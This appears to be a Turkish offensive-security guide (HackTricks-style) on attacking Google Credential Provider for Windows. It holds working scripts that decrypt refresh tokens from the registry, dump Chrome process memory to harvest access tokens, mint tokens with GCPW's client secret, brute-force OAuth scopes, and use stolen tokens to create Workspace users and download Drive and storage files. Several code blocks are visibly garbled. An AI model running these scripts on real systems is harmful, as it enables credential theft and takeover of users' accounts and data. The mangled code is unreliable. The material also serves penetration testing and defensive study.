GCPW - Google Credential Provider for Windows
Tip
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Temel Bilgiler
Bu, kullanıcıların Workspace kimlik bilgilerini kullanarak Windows PC’lerine giriş yapabilmesi için Google Workspaces’ın sağladığı tek oturum açma sistemidir. Ayrıca, bu, Google Workspace’e erişim için bazı yerlerde PC’de token’ları saklayacaktır.
Tip
Winpeas ’in GCPW’yi tespit edebildiğini, yapılandırma hakkında bilgi alabileceğini ve hatta token’ları alabileceğini unutmayın.
GCPW - MitM
Bir kullanıcı, GCPW aracılığıyla Google Workspace ile senkronize edilmiş bir Windows PC’ye eriştiğinde, yaygın bir giriş formunu doldurması gerekecektir. Bu giriş formu, PC’nin bir istekle yenileme token’ı için değiştireceği bir OAuth kodu döndürecektir:
POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]
scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
Note
Proxifier’ı PC’ye kurarak,utilman.exeikili dosyasınıcmd.exeile değiştirerek ve Windows giriş sayfasındaki erişilebilirlik özelliklerini çalıştırarak bir MitM gerçekleştirmek mümkündü. Bu, CMD’yi çalıştıracak ve Proxifier’ı başlatıp yapılandırabileceksiniz.Proxifier’da QUICK UDP trafiğini engellemeyi unutmayın, böylece TCP iletişimine düşer ve görebilirsiniz.Ayrıca “Serviced and other users” bölümünde her iki seçeneği de yapılandırın ve Burp CA sertifikasını Windows’a kurun.
Ayrıca HKLM:\SOFTWARE\Google\GCPW anahtarına enable_verbose_logging = 1 ve log_file_path = C:\Public\gcpw.log anahtarlarını ekleyerek bazı günlüklerin saklanmasını sağlamak mümkündür.
GCPW - Parmak İzi
GCPW’nin bir cihazda kurulu olup olmadığını kontrol etmek için aşağıdaki işlemin var olup olmadığını veya aşağıdaki kayıt defteri anahtarlarının var olup olmadığını kontrol etmek mümkündür:
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}
# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}
# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}
HKCU:\SOFTWARE\Google\Accounts anahtarında, kullanıcının e-posta adresine ve kullanıcının yakın zamanda giriş yaptıysa şifrelenmiş refresh token’a erişmek mümkündür.
HKLM:\SOFTWARE\Google\GCPW\Users anahtarında, domains_allowed anahtarında giriş yapmaya izin verilen domainler bulunabilir ve alt anahtarlarda kullanıcıya ait e-posta, resim, kullanıcı adı, token süreleri, token handle gibi bilgilere ulaşmak mümkündür.
Note
Token handle,
eth.ile başlayan ve bir istek ile bazı bilgilerin çıkarılabileceği bir token’dır:curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg' # Örnek yanıt { "audience": "77185425430.apps.googleusercontent.com", "scope": "https://www.google.com/accounts/OAuthLogin", "expires_in": 12880152 }Ayrıca, bir erişim token’ının token handle’ını bulmak için şöyle bir istek yapılabilir:
curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ -d 'access_token=<access token>' # Örnek yanıt { "issued_to": "77185425430.apps.googleusercontent.com", "audience": "77185425430.apps.googleusercontent.com", "scope": "https://www.google.com/accounts/OAuthLogin", "expires_in": 1327, "access_type": "offline", "token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg" }Bildiğim kadarıyla, token handle’dan bir refresh token veya access token elde etmek mümkün değildir.
Ayrıca, C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse dosyası, enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (birden fazla Workspace kullanıcısının bilgisayara giriş yapıp yapamayacağı) ve validityPeriodDays (bir kullanıcının Google ile doğrudan yeniden kimlik doğrulaması yapmasına gerek kalmadığı gün sayısı) gibi farklı ayarların bilgilerini içeren bir json’dur.
GCPW - Token’ları Al
GCPW - Kayıt Defteri Refresh Token’ları
Kayıt defteri HKCU:\SOFTWARE\Google\Accounts içinde, içinde şifrelenmiş refresh_token bulunan bazı hesaplar bulmak mümkün olabilir. ProtectedData.Unprotect metodu bunu kolayca şifre çözebilir.
Get HKCU:\SOFTWARE\Google\Accounts data and decrypt refresh_tokens
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
Base registry path
$baseKey = “HKCU:\SOFTWARE\Google\Accounts”
Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )
Get all values within the current key
$registryKey = Get-Item -Path $keyPath $foundToken = $false
Loop through properties to find refresh_token
foreach ($property in $registryKey.Property) { if ($property -eq “refresh_token”) { $foundToken = $true try {
Get the raw bytes of the refresh_token from the registry
$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property
Decrypt the bytes using ProtectedData.Unprotect
$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)
Write-Output “Path: $keyPath” Write-Output “Decrypted refresh_token: $decryptedToken” Write-Output “—————————–” } catch { Write-Output “Path: $keyPath” Write-Output “Failed to decrypt refresh_token: $($_.Exception.Message)” Write-Output “—————————–” } } }
Recursively process all subkeys
Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }
Start the search from the base key
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
</details>
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
Aşağıda [**bu videoda**](https://www.youtube.com/watch?v=FEQxHRRP_5I) açıklandığı gibi, eğer kayıt defterinde token bulamazsanız, **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** değerini değiştirmek (veya silmek) mümkündür ve kullanıcı bilgisayara eriştiğinde tekrar giriş yapması gerekecek ve **token önceki kayıt defterinde saklanacaktır**.
### GCPW - Disk Yenileme Token'ları
Dosya **`%LocalAppData%\Google\Chrome\User Data\Local State`** kullanıcının **Google Chrome profilleri** içindeki **`refresh_tokens`**'ı şifrelemek için anahtarı saklar:
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
Bu token'lara şifrelenmemiş şekilde erişen bazı **C# kodu** [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) içinde bulunabilir.
Ayrıca, şifreleme bu kodda bulunabilir: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
AESGCM'nin kullanıldığı gözlemlenebilir, şifrelenmiş token bir **sürüm** ile başlar (**`v10`** şu anda), ardından [**12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42) gelir ve ardından **şifreli metin** ile son bir **16B mac** bulunur.
### GCPW - Süreç Belleğinden Token Dökümü
Aşağıdaki script, `procdump` kullanarak her **Chrome** sürecini **dökme** yapmak, **string'leri** çıkarmak ve ardından **erişim ve yenileme token'ları** ile ilgili string'leri **arama** yapmak için kullanılabilir. Eğer Chrome bir Google sitesine bağlıysa, bazı **süreçler bellek içinde yenileme ve/veya erişim token'larını saklayacaktır!**
<details>
<summary>Chrome süreçlerini dök ve token'ları ara</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
gcpw_extension.exe ile aynı şeyi denedim ama hiçbir token bulamadı.
Bir sebepten dolayı, bazı çıkarılan erişim token’ları geçerli olmayacak (bazıları geçerli olsa da). Dump’tan geçerli token’ı bulmak için karakterleri 1’er 1’er kaldıran aşağıdaki scripti denedim. Geçerli bir tane bulmama asla yardımcı olmadı, ama belki yardımcı olabilir:
Karakterleri 1'er 1'er kaldırarak erişim token'ını kontrol et
```bash #!/bin/bashDefine the initial access token
access_token=“ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277”
Define the URL for the request
url=“https://www.googleapis.com/oauth2/v1/tokeninfo”
Loop until the token is 20 characters or the response doesn’t contain “error_description”
while [ ${#access_token} -gt 20 ]; do
Make the request and capture the response
response=$(curl -s -H “Content-Type: application/x-www-form-urlencoded” -d “access_token=$access_token” $url)
Check if the response contains “error_description”
if [[ ! “$response” =~ “error_description” ]]; then echo “Success: Token is valid” echo “Final token: $access_token” echo “Response: $response” exit 0 fi
Remove the last character from the token
access_token=${access_token:0:-1}
echo “Token length: ${#access_token}” done
echo “Error: Token invalid or too short”
</details>
### GCPW - Yenileme jetonlarından erişim jetonları oluşturma
Yenileme jetonunu kullanarak, aşağıdaki komutta belirtilen istemci kimliği ve istemci sırrını kullanarak erişim jetonları oluşturmak mümkündür:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
GCPW - Kapsamlar
Note
Bir refresh token’a sahip olsanız bile, erişim token’ı için herhangi bir kapsam talep etmenin mümkün olmadığını unutmayın, çünkü yalnızca erişim token’ını oluşturduğunuz uygulama tarafından desteklenen kapsamları talep edebilirsiniz.
Ayrıca, refresh token her uygulamada geçerli değildir.
Varsayılan olarak GCPW, kullanıcı olarak her olası OAuth kapsamına erişime sahip olmayacaktır, bu nedenle aşağıdaki scripti kullanarak refresh_token ile bir access_token oluşturmak için kullanılabilecek kapsamları bulabiliriz:
Kapsamları brute-force yapmak için Bash scripti
```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi doneecho “” echo “” echo “Valid scopes:” cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt
</details>
Ve yazma anında aldığım çıktı:
<details>
<summary>Kaba kuvvetle zorlanan kapsamlar</summary>
https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile
</details>
Ayrıca, Chromium kaynak kodunu kontrol ederek [**bu dosyayı bulmak mümkündür**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), bu dosya **daha fazla kapsam** içermektedir ve **önceden brute-force ile elde edilen listede yer almadığı varsayılabilir**. Bu nedenle, bu ek kapsamların varsayılması mümkündür:
<details>
<summary>Ek kapsamlar</summary>
https://www.google.com/accounts/OAuthLogin https://www.googleapis.com/auth/account.capabilities https://www.googleapis.com/auth/accounts.programmaticchallenge https://www.googleapis.com/auth/accounts.reauth https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/aida https://www.googleapis.com/auth/aidahttps://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/android_checkin https://www.googleapis.com/auth/any-api https://www.googleapis.com/auth/assistant-sdk-prototype https://www.googleapis.com/auth/auditrecording-pa https://www.googleapis.com/auth/bce.secureconnect https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/cast.backdrop https://www.googleapis.com/auth/cclog https://www.googleapis.com/auth/chrome-model-execution https://www.googleapis.com/auth/chrome-optimization-guide https://www.googleapis.com/auth/chrome-safe-browsing https://www.googleapis.com/auth/chromekanonymity https://www.googleapis.com/auth/chromeosdevicemanagement https://www.googleapis.com/auth/chromesync https://www.googleapis.com/auth/chromewebstore.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/cryptauth https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/experimentsandconfigs https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/gcm https://www.googleapis.com/auth/googlenow https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/identity.passwords.leak.check https://www.googleapis.com/auth/ip-protection https://www.googleapis.com/auth/kid.family.readonly https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/kid.permission https://www.googleapis.com/auth/kids.parentapproval https://www.googleapis.com/auth/kids.supervision.setup.child https://www.googleapis.com/auth/lens https://www.googleapis.com/auth/music https://www.googleapis.com/auth/nearbydevices-pa https://www.googleapis.com/auth/nearbypresence-pa https://www.googleapis.com/auth/nearbysharing-pa https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/peopleapi.readwrite https://www.googleapis.com/auth/photos https://www.googleapis.com/auth/photos.firstparty.readonly https://www.googleapis.com/auth/photos.image.readonly https://www.googleapis.com/auth/profile.language.read https://www.googleapis.com/auth/secureidentity.action https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/supportcontent https://www.googleapis.com/auth/tachyon https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/wallet.chrome
</details>
En ilginç olanı muhtemelen:
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
Ancak, bu kapsamı kullanarak gmail’e erişmeye veya grupları listelemeye çalıştım ve işe yaramadı, bu yüzden hala ne kadar faydalı olduğunu bilmiyorum.
Tüm bu kapsamlarla bir erişim belirteci alın:
Tüm kapsamlarla refresh_token'dan erişim belirteci oluşturmak için Bash betiği
```bash export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.google.com/accounts/OAuthLogin https://www.googleapis.com/auth/account.capabilities https://www.googleapis.com/auth/accounts.programmaticchallenge https://www.googleapis.com/auth/accounts.reauth https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/aida https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/android_checkin https://www.googleapis.com/auth/any-api https://www.googleapis.com/auth/assistant-sdk-prototype https://www.googleapis.com/auth/auditrecording-pa https://www.googleapis.com/auth/bce.secureconnect https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/cast.backdrop https://www.googleapis.com/auth/cclog https://www.googleapis.com/auth/chrome-model-execution https://www.googleapis.com/auth/chrome-optimization-guide https://www.googleapis.com/auth/chrome-safe-browsing https://www.googleapis.com/auth/chromekanonymity https://www.googleapis.com/auth/chromeosdevicemanagement https://www.googleapis.com/auth/chromesync https://www.googleapis.com/auth/chromewebstore.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/cryptauth https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/experimentsandconfigs https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/gcm https://www.googleapis.com/auth/googlenow https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/identity.passwords.leak.check https://www.googleapis.com/auth/ip-protection https://www.googleapis.com/auth/kid.family.readonly https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/kid.permission https://www.googleapis.com/auth/kids.parentapproval https://www.googleapis.com/auth/kids.supervision.setup.child https://www.googleapis.com/auth/lens https://www.googleapis.com/auth/music https://www.googleapis.com/auth/nearbydevices-pa https://www.googleapis.com/auth/nearbypresence-pa https://www.googleapis.com/auth/nearbysharing-pa https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/peopleapi.readwrite https://www.googleapis.com/auth/photos https://www.googleapis.com/auth/photos.firstparty.readonly https://www.googleapis.com/auth/photos.image.readonly https://www.googleapis.com/auth/profile.language.read https://www.googleapis.com/auth/secureidentity.action https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/supportcontent https://www.googleapis.com/auth/tachyon https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/wallet.chrome" | tr '\n' ' ')curl -s –data “client_id=77185425430.apps.googleusercontent.com”
–data “client_secret=OTJgUOQcT7lO7GsGZq2G4IlT”
–data “grant_type=refresh_token”
–data “refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI”
–data “scope=$scope”
https://www.googleapis.com/oauth2/v4/token
</details>
Bu kapsamların bazılarını kullanan bazı örnekler:
<details>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/oauth2/v2/userinfo"
{
"id": "100203736939176354570",
"email": "hacktricks@example.com",
"verified_email": true,
"name": "John Smith",
"given_name": "John",
"family_name": "Smith",
"picture": "https://lh3.googleusercontent.com/a/ACg8ocKLvue[REDACTED]wcnzhyKH_p96Gww=s96-c",
"locale": "en",
"hd": "example.com"
}
https://www.googleapis.com/auth/admin.directory.user
```bash # List users curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/admin/directory/v1/users?customer=Create user
curl -X POST
-H “Authorization: Bearer $access_token”
-H “Content-Type: application/json”
-d ‘{
“primaryEmail”: “newuser@hdomain.com”,
“name”: {
“givenName”: “New”,
“familyName”: “User”
},
“password”: “UserPassword123”,
“changePasswordAtNextLogin”: true
}’
“https://www.googleapis.com/admin/directory/v1/users”
</details>
<details>
<summary>https://www.googleapis.com/auth/drive</summary>
```bash
# List files
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files?pageSize=10&fields=files(id,name,modifiedTime)&orderBy=name"
{
"files": [
{
"id": "1Z8m5ALSiHtewoQg1LB8uS9gAIeNOPBrq",
"name": "Veeam new vendor form 1 2024.docx",
"modifiedTime": "2024-08-30T09:25:35.219Z"
}
]
}
# Download file
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files/<file-id>?alt=media" \
-o "DownloadedFileName.ext"
# Upload file
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/octet-stream" \
--data-binary @path/to/file.ext \
"https://www.googleapis.com/upload/drive/v3/files?uploadType=media"
https://www.googleapis.com/auth/devstorage.read_write
```bash # List buckets from a project curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/storage/v1/b?project=List objects in a bucket
curl -X GET
-H “Authorization: Bearer $access_token”
“https://www.googleapis.com/storage/v1/b/
Upload file to bucket
curl -X POST
-H “Authorization: Bearer $access_token”
-H “Content-Type: application/octet-stream”
–data-binary @path/to/yourfile.ext
“https://www.googleapis.com/upload/storage/v1/b/<BUCKET_NAME>/o?uploadType=media&name=<OBJECT_NAME>”
Download file from bucket
curl -X GET
-H “Authorization: Bearer $access_token”
“https://www.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=media”
-o “DownloadedFileName.ext”
</details>
<details>
<summary>https://www.googleapis.com/auth/spreadsheets</summary>
```bash
# List spreadsheets
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files?q=mimeType='application/vnd.google-apps.spreadsheet'&fields=files(id,name,modifiedTime)&pageSize=100"
# Download as pdf
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files/106VJxeyIsVTkixutwJM1IiJZ0ZQRMiA5mhfe8C5CxMc/export?mimeType=application/pdf" \
-o "Spreadsheet.pdf"
# Create spreadsheet
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"properties": {
"title": "New Spreadsheet"
}
}' \
"https://sheets.googleapis.com/v4/spreadsheets"
# Read data from a spreadsheet
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A1:C10"
# Update data in spreadsheet
curl -X PUT \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"range": "Sheet1!A2:C2",
"majorDimension": "ROWS",
"values": [
["Alice Johnson", "28", "alice.johnson@example.com"]
]
}' \
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A2:C2?valueInputOption=USER_ENTERED"
# Append data
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"values": [
["Bob Williams", "35", "bob.williams@example.com"]
]
}' \
"https://sheets.googleapis.com/v4/spreadsheets/SPREADSHEET_ID/values/Sheet1!A:C:append?valueInputOption=USER_ENTERED"
https://www.googleapis.com/auth/ediscovery (Google Vault)
Google Workspace Vault, Google Workspace için veri saklama, arama ve dışa aktarma araçları sağlayan bir eklentidir. Bu araçlar, Gmail, Drive, Chat ve daha fazlası gibi Google Workspace hizmetlerinde saklanan kuruluşunuza ait veriler için kullanılır.
